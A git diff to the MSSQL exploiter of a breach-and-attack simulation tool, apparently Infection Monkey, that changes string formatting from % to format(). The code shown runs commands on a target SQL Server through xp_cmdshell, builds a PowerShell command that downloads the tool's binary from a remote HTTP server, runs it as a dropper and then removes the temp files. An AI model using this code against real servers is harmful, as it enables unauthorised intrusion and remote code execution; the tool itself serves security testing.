diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index fc27cc600..132103287 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter):
     XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
     XP_CMDSHELL_COMMAND_END = "\""
     EXPLOIT_COMMAND_PREFIX = "<nul set /p="
-    EXPLOIT_COMMAND_SUFFIX = ">>%(payload_file_path)s"
-    CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s"
+    EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
+    CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
     MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
-                              "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')"
+                              "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
@@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter):
         return self.run_mssql_command(file_running_command)
 
     def create_temp_dir(self):
-        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
         self.run_mssql_command(dir_creation_command)
 
     def create_empty_payload_file(self):
-        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
         tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
         self.run_mssql_command(tmp_file_creation_command)
 
@@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter):
 
     def remove_temp_dir(self):
         # Remove temporary dir we stored payload at
-        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
         self.run_mssql_command(tmp_file_removal_command)
-        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
         self.run_mssql_command(tmp_dir_removal_command)
 
     def start_monkey_server(self):
@@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter):
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
                                                dst_path)
-        suffix = ">>%s" % self.payload_file_path
+        suffix = ">>{}".format(self.payload_file_path)
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
+        return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
                                        prefix=prefix,
                                        suffix=suffix)
 
     def get_monkey_download_command(self):
         dst_path = get_monkey_dest_path(self.monkey_server.http_path)
-        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
-                                                                            'dst_path': dst_path}
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+            format(http_path=self.monkey_server.http_path, dst_path=dst_path)
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
         return MSSQLLimitedSizePayload(command=monkey_download_command,
                                        suffix=suffix,
                                        prefix=prefix)